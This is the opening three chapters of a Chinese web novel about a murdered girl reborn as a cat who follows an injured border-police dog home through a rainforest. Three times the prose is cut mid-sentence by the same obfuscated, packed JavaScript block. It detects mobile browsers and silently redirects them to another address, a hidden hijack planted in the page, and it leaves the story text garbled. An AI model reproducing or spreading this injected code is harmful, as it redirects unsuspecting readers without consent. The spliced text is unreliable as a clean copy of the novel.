《边城警猫》 1. 第 1 章 “搜捕逆贼!” “我家郎君是被贼寇逼的!他们占了城,不从就会被杀啊!” “滚!窝藏逆党,杀无赦!” “别抢我家粮,求求你!我家就留着这一点过冬……” 碰—— 墙外,邻里们的求饶声和士卒们的兵戈声交织,街上的石板被血染成了红色,白雪落于石板上,又被来来去去的鞋踩成了污浊的黑红色。 墙内,火光照亮了阿娘浑浊大睁的双眼,阿姊的嘶喊声响在耳旁,兵卒狰狞的脸庞映在阿五眼底。 锋利的簪尖刺破了阿五红肿的手,她浑身发着抖向阿姊爬去,牙齿交错间咯咯作响。 近了,近了。 阿五猛地扯住欺辱阿姊的兵卒衣带,在他转头时用尽全力将阿娘的发簪向上扎进了兵卒眼中。 温热的血四溅,恰好飞入阿五的双眼,霎时将小院蒙上了淡红色。 兵卒没想到一个残废稚童居然有勇气对他出手,剧痛惊惶之下捂着眼倒在地上惨呼。 利刃刺入,视野模糊。阿五最后见到的,是阿姊微笑的脸。 “阿五,别怕,阿姊和阿娘陪着你呢。” 阿五不怕,阿五想—— 一家人平平安安,永远陪着阿五。 * 20世纪90年代,华夏,百濮省。 边境交界的雨林中,一队巡防民警抓着身侧垂下的藤蔓,在湿滑泥泞的小道上谨慎地挪动。 乳白色的浓雾弥漫在四周,他们只能看清身前战友的背影。 一只半人高的警犬在头前探路,蓦地脚一滑,像是被雾气一口吞入了肚中,瞬间失去了踪迹,只留下一道越来越远的叫声。 “汪呜呜呜——” “万里!!” 这仅容一人通过的道路一侧,是深不见底的悬崖。 崖底,层层落叶堆积,一只浑身花羽毛的山鸡正靠着山壁拾草籽虫子吃。 缀着黑褐色斑纹的黄毛猫借着大雾隐匿身形,无声地绕过大树,从山鸡身后冲出,抬爪钩住了山鸡长长的尾羽。 那山鸡惊地一窜,“咕”的一声,抬起翅膀就想逃,可脖子已被死死咬住,剩余的叫声也都卡在了喉咙里。 山鸡的体型比变成黄毛猫的阿五大了不少,力气自然不可小觑,疯狂扑腾间试图挣脱束缚。 阿五用嘴巴紧紧叼着鸡脖子,四爪也牢牢扒住了山鸡。 山鸡扇翅膀的力度渐渐变小。 “嗷——嗷呜——” 几声微弱的哀鸣和碰撞声从头顶上传来,阿五微微动了动眼睛往上望,然而除了一片白茫茫,什么也瞧不见。 此时身下的山鸡骤然发力,阿五料到了这一遭,一直未曾松懈,没让山鸡有机会逃脱。毕竟就在不久前,她曾捕到一只大尾巴老鼠,对方就是用装死这一招逃走了。 山鸡经过一番垂死挣扎,终究还是没有逃过阿五的利爪,再不动弹了。 碰! 阿五还没来得及开心,一样物什就落在了她的前方,滚了几下便不动了,猛然间发出的巨大声响将她吓得浑身炸了毛。 这动静同时惊起了几只飞鸟,扑棱棱地扇着翅膀逃离。 是何物从山上掉下来了,石头? 阿五松开叼着山鸡的嘴,努了努鼻子,带着血腥味和压迫感的气息飘入了她的鼻端。 竟是活物。 阿五侧耳细听,还有呼吸声,没死。 雾气太厚重,她分辨不出对方是何种动物。 阿五略想了想,小心翼翼地靠近。 粗大的尾巴,夹杂着黄黑色的皮毛,一只体型硕大的犬出现在了阿五面前。 摔晕的大狗一只后腿不自然弯曲,另一只后腿裸露着猩红的血肉,长长的伤口鲜血直流。 阿五盯着那两条后腿怔愣了一会,移开了视线。 咦?这好似是个项圈? 阿五凑过去仔细一瞧,大狗的脖子上果然套着个黑色项圈。 阿五登时后退了两步。 自打她变成猫,在这座陌生的林子里醒来,大约已有五六日的光景了。 这还是阿五第一次发现与人有关的物件。 但她一点也不想再看见人了! 想起阿耶阿兄被打入城中的叛军捉走一去不回,以及官军重占城池后阿娘阿姊的死,阿五心中又泛起一阵刺痛。 她连忙抬爪摸摸脖子上的玉坠,平息心中的怨气。 那些都过去了,现在家人们都在玉坠子里,好好地陪着阿五呢。 阿五放下爪子,隔着雾再次瞅瞅大狗,转头离开。她很同情大狗的遭遇,可作为一只还没有大狗尾巴大的猫,她实在帮不上什么忙。 既然大狗有项圈,那它的主人应当会来找它的。 阿五拖着鸡远离大狗,打算找个地把鸡吃了。 她还从未吃过鸡呢,也不知道是个什么滋味。 在她很小的时候,家中也曾是有鸡的。等老母鸡下了蛋,阿姊就会去换成盐或者别的物什。不过后来要交给官府的税愈来愈多,鸡就卖了。 阿五踩着鸡拔毛,毛却总是黏在口中。她口爪并用,总算是将那毛弄了出去。好不容易将毛拔光,阿五张口撕扯下一块鸡肉,尝试着嚼了嚼。 吧唧吧唧。 难以形容的鲜美滋味令她眼前一亮,阿五歪着头左嚼嚼右嚼嚼,赶忙把嘴里这块肉咽进肚子,又埋头去扯下一块。 原来鸡是这个味道,真香! 阿五快速大口地啃着鸡肉,翠绿的眸子警惕地左右扫视。食物落入腹内,带来十分的满足感。 努力地塞下了整只鸡,留下一些鸡骨头,阿五撑得肚子溜圆,甩甩尾巴就走。 血腥味会引来捕猎者,她不能在此地过多停留。 阿五窜上一棵大树,四下确认这棵树上没有蛇,才放心地坐在了树干上。她舔舔爪子,开始打理皮毛,脖间的坠子轻轻晃动。 一出生阿五就有病症在身,郎中断言她活不长久。阿耶阿娘不信,不仅小心地养着她,还特地去城外的古刹石城寺,求来了这块雕成狸奴形状的玉石坠子。 自阿五戴上坠子,除了天生双腿无法行走,直到她六岁死去,竟什么病都没得过,足见这坠子不是凡物。 阿五舔舐到胸前的皮毛时,珍惜地摸了摸坠子,虔诚地喵呜道:“请坠子保佑我的阿耶阿娘,还有阿兄阿姊,能早日醒来。” 她能活过来,定是这坠子施展了神通。 当时阿五听见阿娘的呼唤,迷迷糊糊睁开眼。还不待她醒过神,下一刻阿娘微弱的声音就从脖颈间传来:“阿五,别怕,阿耶阿娘…我们都在,陪着你…活下去。” 阿娘说完这句话,接下来无论阿五怎么呼唤,都再未出声。 阿五想,他们一定是在坠子里睡着了。 虽然从人变成了一只狸奴,有些令阿五害怕,不过只要家人在身边,一切都没关系的。 她只要活下去,就一定能等到阿娘她们醒过来。 阿五舔完毛发,就阖眼躺在了树枝上,尾巴自然地垂下,只是不时动一动两只棕黄色的小耳朵。 也不知道那只后腿受伤的大狗怎么样了。 微风拂过,树叶哗啦啦作响,山谷中的雾渐渐淡了,几缕金光跃出了山梁。 阿五又换了个姿势。 唧唧啾啾的鸟叫声此起彼伏,树下不时响起窸窸窣窣的声音。 阿五烦躁地甩甩尾巴,真吵! 她抬爪捂住耳朵,可眼前总是闪过大狗流着血的腿。 大狗的腿受伤这么严重,会不会和阿五以前一样,不能再走路了呢? 那它的主人就不会再要它了。 想到这,阿五一骨碌坐起,到底还是下了树。 她就去看一眼。 溜溜达达地穿过薄雾,阿五重返崖底。 大狗依然躺在原地未醒。 周围也没有人来过的痕迹。 阿五扬起小脑袋,去看大狗掉下来的那座山。只见山壁高高耸立,一眼望不到头。 “啪嚓。” 清脆的落叶被踩声响起,阿五顿时移开了眼。 一只体型与大狗相仿的花斑大猫正站在不远处。 对上这大猫的双眼,阿五撒腿就跑。 天底下居然会有这么大的猫?定是被大狗的血腥味吸引来的。 阿五停住了爪。 她咬咬牙,闷头往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201074|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回冲。 一声咆哮传来。 阿五的耳朵紧紧贴住小脑袋,“啊呜”一口,狠狠咬在了大狗的尾巴上。 快醒醒! 大狗的爪子抽搐着动了动。 黑色的尾巴尖荡开薄薄雾气,花斑大猫朝着阿五凌空扑来。 阿五咬完立刻往一侧飞扑,可还是被花斑大猫的爪子扫到了身侧。 阿五身子一歪,飞出撞上了坚硬的崖壁。 “喵嗷!” 阿五惨呼一声,摔进了厚厚的落叶堆中。眼前一阵阵泛黑,浑身疼痛。 花斑大猫对着阿五又是一声低吼,警告她别再靠近。 阿五头晕目眩,她伸出爪子确认玉坠还挂在脖子上,这才努力挣扎着想要起身逃跑。 此时躺在地上的大狗动了动,缓缓睁开了双眼。 几声嘶吼响起,阿五转头望去。 只见大狗一跃而起,撞向了身前的花斑大猫。 花斑大猫被撞,踉跄一步稳住身体,回头就是一爪扇向大狗。 大狗缩头避让,寻机咬向花斑大猫的脖子,一猫一狗缠斗不休。 阿五伏在枯叶堆里,瞪着溜圆的双眼紧张地观察战况。 还好,她那一口没白咬。 倏忽间,花斑大猫和大狗分开。大猫龇着牙,慢慢和大狗拉远了距离。 大狗没动,绷着尾巴“呜呜”低吼着。 花斑大猫转身,快速消失在了雨林中。 大雾彻底散去,阳光洒落在大狗身上,为它镀上了一层金光。 是大狗赢了! 阿五松了口气。 大狗真厉害! “呜—呜——” 大狗转过脑袋,掀着嘴唇露出牙,冷冷地盯着阿五发出低吼。 阿五一愣,起身就跑。 她有些委屈,可想到她与花斑大猫极为相似的皮毛,阿五又释然了。 也不知道她能否长得像花斑大猫那么大,若是可以,那她在林中岂不是横着走? 阿五边跑边畅想着,在一棵树旁停了爪。她低头舔舔毛,龇牙咧嘴地检查了一番,除了周身疼痛,倒是没有外伤。 “还好阿耶阿娘在睡觉呢,看不到我做了什么。”阿五有些心虚地摸摸坠子。 到底还是按捺不住好奇心,阿五悄悄回转。 她躲在一块大石后探出脑袋。 不远处大狗正在舔舐伤口和皮毛,接着嗅嗅地面,一瘸一拐地离开了。 林中土地湿滑,大狗弯折的伤腿不敢触地,步子一高一低,即使万分小心,也还是走两步滑一跤。 阿五不远不近地跟着,看大狗摔倒了许多次。大狗的腹部有一道皮肉翻卷的伤口,大约是方才与花斑大猫搏斗时伤到的。 阿耶说过,狗是很忠诚的动物,不管将它丢到哪里,它都会回家的。 大狗受了如此严重的伤,只有县城里最好的大夫才能治。 但在他们县城,人尚且都舍不得给自己治病,又有谁会花钱给家中的狗请大夫呢? 等大狗回了家,主人发觉她无法再看家护院,就会将她杀了吃掉。 阿五想到此处,不由得一抖。她曾见过邻居将自家多年的老狗缚住,笑着对街坊说狗老无用,打算吃了。 阿姊听见这话,赶忙来捂她的耳朵,接着朝那邻居啐了一口,将她抱回了家。 当晚阿五就做了噩梦,阿娘哄了她许久才好。 可时不时的,阿五总能想起那只白毛犬湿润的双眼。 望着大狗,阿五似乎又看见了那只白毛犬。 要不…要不跟去瞧瞧吧。 如果大狗的主人也这么坏,她就冲上去挠花那主人的脸,想办法救下大狗。 阿五已不是当初那护不住阿娘和阿姊,无法起身的稚童了,她虽小,却有锋利的爪子和尖锐的牙! 若是大狗的主人愿意照顾大狗,她就自行返回林中。 阿五打定主意,继续跟在了大狗身后。 群山层叠,六月的边城雨林草木繁茂,大狗和阿五落在其中,像是两团露珠,透明而渺小。 山林间,一队身着绿色制服的民警们,正满心焦虑地寻找着下山的道路。 2. 第 2 章 四爪一蹬,阿五轻松跳上树干。它底部折断,倒伏在地上,还长满了五颜六色的蘑菇。 阿五凑过去闻了闻,奇特的味道令她退避三舍。 一路上大树们错落的树冠将阳光遮掩得严严实实,地面上都是枯黄的落叶,还不时爬过许多长虫。 阿五跟着大狗,从天亮爬到了天黑,终于翻过了一座山头。 期间大狗也找过许多方法,试图爬上它掉落的那座险峻山峰,可惜坡度太陡、草地又过于湿滑,都失败了。阿五在一旁躲着,看得很是着急,但大狗只是稍作休息,就转头找了别的路。 山脚处,青翠的草地间有一条小溪徐徐流淌。大狗走到溪边,低头喝起了水。 阿五见状特意往下游走了走,溪水清澈,水草顺着流水摇曳。她心痒痒地用爪子捞起水草玩了玩,直到爪子感到刺骨的冷意才赶忙收回舔了舔。 老老实实地喝完水,阿五翘首往上游瞧了瞧,见大狗就地歇了脚,便也寻了块柔软草皮躺下。 张嘴打了个大大的哈欠,一整日没睡,困乏从阿五的体内冒出。头一歪,她沉沉睡去。 夜色更浓了,风呼啸而起,吹乱了阿五的毛发。 阿五睁开眼,耳边是潺潺水流声和呼呼风声。 “啊呜”打了个哈欠,阿五起身,刚伏低想伸个懒腰,就疼的“喵呜”一声。 阿五赶忙坐下,侧头舔舔背部的皮毛,被花斑大猫打完的地方怎么更疼了呢? 阿五抖抖毛起身往上游而去,只是走了好一会都没有见到大狗的身影。 看来大狗早就离开了,阿五一慌,连忙嗅了嗅地面,青草、泥土和各种动物的气味一股脑地涌了进来。她仔细分辨着大狗的气息,沿着小溪一路嗅闻。 变成狸奴后,阿五发觉她能闻到好多以前闻不到的气味。 阿五循着味道涉水到了对岸,甩了甩湿透的脚掌。 风越发大了,撵着阿五的屁股将她往林子中赶。 阿五稳住身体,一会抬头嗅嗅,一会又低头闻闻,不断调整方向。 然而大风卷着大狗的气味散得到处都是,好似前方每个方向都有一只大狗。 黑云在天空集结,几道白茫茫的闪电犹如利剑劈向森林,随即巨大的雷声响起。 “轰——” 阿五吓地“喵呜”乱叫,一头窜上了身旁的大树。 骤然间,森林被大雨袭击。 闪电将泛着蓝紫色的天空照得十分清晰,月亮和星星早已隐入灰色的云团,不见身影,气温骤降。 阿五窝在树杈之间,瑟瑟发抖地望着黑乎乎的丛林。 树叶被大雨打地噼啪作响,林中氤氲起了淡淡的雾气。 一瞬间阿五曾听到过的几则志怪故事在脑海中上演。 “阿娘,阿五有点害怕。”阿五抖抖索索地用爪子摸了摸坠子,不停地说话壮胆,“不,不过想到还有你们陪着阿五,害怕就剩一点点了。” “前几日只下了场小雨,但今夜雨下得特别特别大。是不是天帝很伤心呀,阿五其实也很难过。” “也不知大黄狗走到何处了,想来也在躲雨吧?” 雨水顺着树叶流到了阿五身上,打湿了毛毛。阿五站起身抖了抖,又将尾巴卷到身前靠紧了树干。 她还要这林子里生活很久,以后还会遇到很多场大雨,不能总这样在树上躲着,既不能遮风,也不能挡雨。 此前的几天她都在四处乱逛,适应新的身体,学习捕猎以活下去。这一次等她送完大狗回来,是得找个地方做个窝了。 阿五正想得入神,刹那间一道白色闪电划破天空,直冲森林而来,击中了不远处的一棵大树。 刺眼的光亮晃得阿五闭上了眼。 轰—— 天地失声。 耳朵还在嗡鸣,阿五缓缓睁开眼。橙红色的火光在雨中闪烁,大树熊熊燃烧,照亮了这一方天地。 “阿娘,阿耶,好漂亮啊!” 阿五目瞪口呆,眼中异彩连连。 过了好一会,阿五才重新听见了哗啦啦的雨声。 树叶一阵晃动,阿五连滚带爬地从树上回到了地面。 “还好雷公没有选中阿五这棵树,差一点就变成烤狸奴了。” 阿五心有余悸地摸摸坠子,又认认真真地看了看这震撼又奇诡的一幕,以后好说给家里人听,就打算继续上路。 至少今夜,她再不会上树了!还是找大狗要紧。 下雨时的气味和平常又有所不同,阿五闻了闻,发现大狗的味道已变得极为浅淡。 原来气味被大雨冲刷后会消散,看来她要抓紧时间了。 大雨将阿五的小耳朵打得东倒西歪,尾巴淋了水后更显得细小。 阿五全然不顾,只一心嗅闻,可走着走着,大狗的气味终究是彻底消散了。 “阿嚏!” 阿五迎风打了个喷嚏。 大狗拖着伤腿走不快,下着雨只会走得更慢。阿五想了想,继续往山上爬。 整个森林都被雨水浇得湿漉漉的,阿五的四只小脚一会蹭上了苔藓,变成绿爪爪,一会又踩入了泥坑,变成了黑爪爪。 轰隆隆的声音传来,气喘吁吁的阿五耳朵一动。 好大的水声,也不知是怎么回事。 阿五脚下一转,循声而往。 流水从高处倾泻而下,顺着山石和翠绿的枝叶,汇成了一汪清澈的水潭。 雨滴落在水面上,砸出一朵朵水花。 阿五盯着水潭眼前一亮,她饿了,这里会有鱼吗? 吃饱了才好爬山。 她动了动变得脏兮兮的小鼻子,甩甩尾巴迫不及待地往水潭走去。 嗯? 阿五脚步一顿,空气中似乎有熟悉的味道。 她狐疑地再次闻了闻,果然是大狗。 这味道浓郁而新鲜,大狗肯定在这附近! 尾巴嗖地竖起,阿五昂首四望,顿时将水潭里的鱼放到了一边。 阿五兴奋地一头钻进了水潭边的灌木丛,这里有味道!她在缝隙里灵活穿梭,枝条上的雨水被撞落,淋了一身。 “阿嚏!”阿五用爪爪抚了抚鼻子,觉得有些凉。 啪啪啪啪—— 咦,这是什么声音?阿五蹲在灌木丛中疑惑地向外望去。 脚步声和粗重的喘息声,伴着两道四处乱晃的光束,两个男人踏入了阿五的视线。 人? 阿五眨了眨眼,不由自主地往后退了几步,撞在枝条上,发出了一点动静。 阿五赶忙停住,见那两个人没有注意到她,才放下了心。还是在这里躲躲吧,等他们走了再说。 “呼…呼,跑不动了,我们在这里躲会雨歇一下吧。” 一人停在了水潭边的宽叶大树下。 另一人怒骂:“你怕不是找死,大雨天躲在树下面,等会一道雷下来劈死你。你看看你都耽误多久了,这点路都走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201075|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不动,呸,没用的东西。” 停在树下的男人陪笑:“那我摘几片叶子顶头上走,也没带雨衣,万一货被浇湿了,我们不就白跑了吗。” “算了算了,快点。”另一人沉吟半晌,虽然货都拿塑料袋装了好几层,但再加一层保险也好,况且他也被这大雨浇得有些脑袋发晕,早知道出门前带个雨衣了。 他们在交谈?阿五用爪爪扑棱了下耳朵,满脸迷茫。这语言和她以往听惯的完全不同,因此她一句也没有听懂。 难道变成狸奴后,就听不懂人话了? 还有那两人拿的是什么物件,在雨中竟然还能发光? 阿五矮下身,匍匐着小心穿过灌木丛,靠近二人仔细打量。 只见一人消瘦高挑,一人矮小魁梧。 两人都是短发,穿着短袖长裤。 树下的瘦高男人将手电筒用嘴叼着,抬头伸手去扯叶子,刚扯下一片叶子,嘴里的手电筒就掉了地。 阿五眼睁睁瞧着那发光物件掉在了地上,“哔啵”闪了两下,熄灭了。 “啧!什么烂手电。”男人将叶子往头上一搭,边抱怨,边蹲下身在地上胡乱摸索。 “呃。” 叶子从头顶滑落,瘦高男人忽然间面容扭曲,侧身坐在了地上,掏兜拿出了一包烟和打火机。 “喂!你搞哪样?” 不远处矮小男人烦躁地抹了把脸上的雨水,将光束扫向瘦高男人,只见他弓身将烟和火机置于胸前,正“啪啪”地拼命按着罢工的打火机。 “……”矮小男人不可置信。 眼前出现了一双脚,瘦高男人一顿,将手中的打火机甩开,跪在地上拽着对方的裤子,神经质地恳求道:“哥,哥,帮我,帮我。” 阿五歪头,不解地瞧着瘦高男人磕头。 矮小男人两眼一黑,一脚将对方踢开,喝道:“妈的,你瘾犯了?成事不足败事有余,狗东西!” “我是,我是,哥,求求你。”瘦高男人栽进了泥地里,他却什么也顾不上,又湿淋淋地爬了回来,讨好地笑着,匍匐在矮小男人脚底磕头。 矮小男人又恨恨地踢了对方几脚,拿他毫无办法。半晌后骂骂咧咧地蹲下身,他将地上的芭蕉叶拾起,挡住部分雨水,从脚踝处掏出一个塑料袋,拿出打火机和烟。 烟刚一点燃,瘦高男人立马抢过,塞进嘴里吸了一口,满脸陶醉。 矮小男人阴沉沉地瞪着对方,将东西重新放了回去。 阿五只觉一股油腻腻的怪味袭来,有些呛鼻,又令她作呕。强忍着打喷嚏的冲动,阿五轻轻抬爪拂了拂鼻子,想把这味道赶走。 这两人真是奇怪,这东西难道顶饱吗? 矮小男人起身,咬牙切齿地又踢了对方一脚。那人却只顾将头塞在芭蕉叶下,一心吸着手中的烟。 待烟吸完,那男人一掀叶子,平摊在泥泞的地上,张嘴接着雨水,眼神迷离地微笑着,身体微微抽搐。 “嘿嘿,嘿嘿……” 这诡异的场面让阿五不由自主炸了毛,连呼吸声都变得轻了。 过了不知多久,瘦高男人恢复了正常,跌跌撞撞地和矮小男人离开。 “咕噜噜。” 肚子发出的叫声唤回了阿五的魂。 阿五神游般地钻出灌木丛,嗅了嗅地上男人留下的物品。 油腻的怪味混合着一丝焦糊,卷着其余复杂的气味,尽数被阿五捕获。 雨停了,天色将明。 3. 第 3 章 瀑布旁的山壁中,大狗正蜷成一团,缩在一处凹进去的山洞里。 一阵凉风吹过,湿漉漉的大狗发着抖,连阿五靠近也没有发觉。 本蹑手蹑脚凑近的阿五见状,索性直接来到了大狗的身边。 大狗呼吸灼热,鼻头干巴巴的,一点也不水润,身上还传来了一股不新鲜的味道。 糟了,大狗这是淋雨后发热了。 阿五转身就跑,撅着屁股将昨夜那两人丢在地上的大叶子叼了过来,好为大狗挡风。 阿五一面忙忙碌碌地将叶片覆盖在大狗身上,一面回想着家人生病时,阿娘和阿耶是如何做的。 阿耶说病了就要多喝水,吃饱饭。阿娘会用浸了凉水的帕子擦拭发烫的额头和手脚,接着就要裹在被子里睡上几觉,说是发发汗就好了。 唔,她现在既没有帕子,也没有被子。 阿五瞪着清凌凌的潭水,忽的有了主意。她来到水潭边,果然瞧见几尾小鱼慢悠悠地游过。 不过这鱼太小了,还不够大狗塞牙缝的。阿五嫌弃地摇摇头,小脚踩进水中,慢慢往深处走去。 待潭水没过了肚子,身体失控,阿五慌乱地划动着四只小脚,掀起一片水花。 原来在水里是这种感觉,阿五手忙脚乱地退至潭边,忌惮地望着水面。 可更深处有几条大一些的鱼,有了鱼,大狗就能吃饱饭了。 填饱了肚子,病也就好了。 阿五犹豫再三,做足心理准备,又下了水。 周围总是传来一些窸窸窣窣的声音,十分恼犬,大狗挣扎着掀开眼皮,眼前一片漆黑。 大狗眨眨眼,这才看清身上的东西是一片宽大的芭蕉叶。 “咪呜~” 叶片外传来一声心满意足的稚嫩猫叫。 大狗没有动弹,而是闻了闻味。 居然是昨天咬了她尾巴的那只猫,一只还没长大的幼崽,咬起狗来怪疼的。 喉咙一阵干渴,大狗打算去喝点水,偏头将叶片掀开。 两只露着脑袋、身体被一堆石头压住的小鱼出现在了大狗眼前。 小鱼瞪着鱼眼,绝望地张合了几下鳃部。 虽然鱼的分量比不上鸡,但这水潭里的鱼挺多,捉起来也不算难。 阿五又捉到了一条鱼,喜滋滋地按在爪下比了比大小。唔,这条还挺大,留给大狗吃。 阿五叼起鱼,一转身就见大狗朝她走来。 大狗醒了?阿五惊喜地往前走了两步。下一瞬晃来晃去的尾巴尖绷住,阿五叼着鱼掉头就跑。 大狗醒了!快跑! 大狗脚步一顿,微微翘起的尾巴尖彻底垂到了地上。 阿五藏在树冠中,目送大狗喝完水离开,就在树上快快将鱼啃了,赶忙下树。 咦?怎么没有血的味道呢? 阿五直奔山洞。 山洞前,两条小鱼原封不动地在地上待着。 大狗不吃鱼吗? 阿五的两只小耳朵往后压了压。 无妨,大狗想必不爱吃鱼,待会瞧瞧能否捉些别的吧。 她一爪将鱼勾出,勉强将它吃了。方才吃了好些鱼,现下肚子撑得紧,阿五只好将剩下的那条鱼衔在了嘴里,转身往大狗离开的方向而去。 太阳升起,光线却穿不透森林。雾气在林间流动,阴冷又潮湿。 衔着鱼的阿五抖了抖,又打了几个喷嚏。她的毛毛还没有干,怪冷的。 中午时分,一猫一狗终于攀过了矮峰。 大狗体力不支,路途中休息了许多回。阿五早将小鱼吃下了肚,还尝试着捉了只大尾巴老鼠丢给大狗。 可大狗只是嗅嗅就走了。 阿五只好自行将大尾巴老鼠吃了,继续赶路。 以她的能力,目前也只能捉这些小东西果腹。可大狗都不爱吃,不吃饭身体如何受得住呢? 阿五担忧地注视着大狗的背影,大狗的步伐缓慢蹒跚,她真害怕大狗一不留神从山上掉下去。 快到山底时,大狗再次卧下休息,醒来后它的步伐却变得极快。 还在伸懒腰的阿五一愣,撒开四爪跟住。不一会,她就发现了让大狗拖着病体奔跑的罪魁祸首。 这山谷中,全是水蛭。 头顶的草叶上,地面的枯叶中,道旁的水洼里,它们扭动弹跳着,接近阿五和大狗。 阿五的头皮发麻,明显感觉那些恶心的玩意已然落到了她的身上。她浑身一抖,爪下又快了三分。 直到穿过山谷,大狗才停下脚步。 阿五被水蛭逼的完全忘记了和大狗保持距离,四爪一软,瘫坐在大狗身边“呼哧”“呼哧”喘气。 同样吐着舌头大喘气的大狗低头瞥了眼阿五,默默走开抖了抖毛。 几只水蛭从大狗身上飞出。 阿五一阵恶寒,嗖地起身也学着大狗,“噗噜噜”地抖了抖毛。 抖着抖着,阿五理智回笼,两只小耳朵逐渐贴住了脑袋,眼睛偷偷瞟着大狗。 然而大狗埋头舔舐着自己的腿,根本没有搭理阿五。 呼,阿五松了口气,耳朵又神气地回到了脑袋顶。 大狗居然没赶她! 阿五试探着伸出爪子,靠近大狗,直到快毛毛贴毛毛,大狗也只是无奈地瞧了她一眼,继续埋头舔腿,没有其他动作。 ! 阿五的尾巴立时翘得高高的。 大狗嘴爪并用的是在做什么?阿五仔细一瞧,几条趴在大狗腿部伤口处的水蛭出现在眼前。 阿五炸毛跳起,倒是吓了大狗一跳。 落地的阿五又忍着害怕赶紧回来阻拦大狗。 农忙时节,阿耶和阿兄从田里回来,身上常常会带着这种虫子,火烧方可取下。 虽说用盐更快且不容易烫着,但盐珍贵,阿耶曾说若是要用盐,不如由这玩意吸个痛快,还被阿娘嗔怪了几句。 这虫子越是去扯,就越会往肉里头钻。 阿五想了想,上前用爪子拍击着大狗的腿部。大狗竟也没有反抗,任凭阿五施为。慢慢的,两只逐渐变得圆滚滚的水蛭倒头掉进了草地。 鲜血蜿蜒着从伤口处渗出,大狗低头舔了舔,就站起身走了。 接下来的路程,阿五翘着尾巴光明正大地跟在了大狗腿旁。 大狗默认了阿五的行为,无言地带着她穿行在林间。 蔚蓝的天空渐渐染上了橘色,日头又将落下山去,山峰一层一层,好像怎么也爬不完。 阿五迈着步子,只觉脑袋昏沉,好想睡觉。 可大狗一直在走,再未停下休息,她也只好强打起精神跟着。 蓦地一阵风拂过阿五的毛发,阿五侧头,目光随着狂奔的大狗一直往前。 林子中,有一座木头搭建的房屋。 阿五仿若浆糊的脑袋当即清明了几许,撒爪就跟上了大狗。 “汪!” 听见狗叫,房里当即钻出两个人来。 他们定睛一看,惊讶地喊道:“万里?” “嗷呜嗷呜!” “万里!” 阿五赶到,眼见大狗这两日一直垂在身后的尾巴竟竖着疯狂摇动,就明白它寻到了家。 阿五蹲在林子里没有过去。 那两个穿着奇怪的人将大狗抱了个满怀,激动地不停用手抚摸着大狗,大狗则快乐地扭动舔舐着两人。 然而满面笑容的两人在发现大狗身上的伤后,脸色刷一下变了,其中一人哭得特别大声。 这泪水让阿五收起了爪尖。 “万里,你怎么找回来的!居然受了这么重的伤!” 万里?这应该就是大狗的名字了,阿五默念了几遍,记在心中。 阿五走近几步,努力分辨着他们的话语。但和昨夜一样,她仍旧一句也听不懂。 “马自平,你赶紧带万里下山。” “哦哦,好,那李羽你一个人?” 李羽思考了几秒:“那你先去所里,喊人上来替你,我这里暂时不碍事。” “好!” 马自平起身,抱起万里就想跑,被李羽拦住,转身去房里找了万里的牵引绳套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201076|165710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上:“先让万里自己走,不然你们两个一起滚下山去怎么办,不要命啦?” 脸上还带着泪痕的马自平狠捶了下自己的脑袋:“我真是急昏了头了。” 说完,他带着万里往山下奔去。 阿五想了想,也跟在了后头。 一到山脚,马自平就将万里抱了起来。 阿五随着他们穿过了泥泞的小道,来到了一座村落边缘的宅院门口。 “所长!教导员!万里回来了!” 马自平大喘着气冲进了院子里。 阿五隐在大门处往里看,只见不少人从屋子里跑出来。 这群人无论是穿的,还是戴的,阿五都寻不出一点家乡的痕迹。 他们全是男子,却都是短发。面庞光洁未曾蓄须,和阿耶阿兄完全不同。 即使各地风俗再不同,也不至于会不同成如此模样吧? “所长,教导员,你们赶紧看看吧,万里受伤好严重。”马自平放下万里,“还有,李羽一个人在山里头。” 立刻就有人接话:“我去。” 然后他冲进屋里,再出来时头上多了顶帽子。 阿五往门边缩了缩,没有引起出来人的注意。 所长边星遥和教导员舒瀚海蹲下身,两人沉着脸查看万里的伤势。 只见万里带着湿气的皮毛脏兮兮的,腹部和腿部均有长长的伤口。 边星遥抱起万里往车旁走:“赶紧,去乡里的兽医站。马自平你是它的训导员,你也一块去。” 阿五目睹了他们的行为,虽不懂他们的言语行为,但能感受到他们话中的担心和关心,心中大石落地。 “阿耶阿娘,大狗回到家了。”阿五垂下了耳朵,对着玉坠子念叨,“但我们的家好像没有了。” 阿五环顾四周,一片陌生。她起身离开,再次回头看了看人群。万里,再见,你可一定要好起来呀。 只是她没走两步,爪子一软,闷头栽在了地上。 好奇怪,她这是怎么了?阿五努力撑起身子,晃晃脑袋,眩晕感加重。 “唔——” 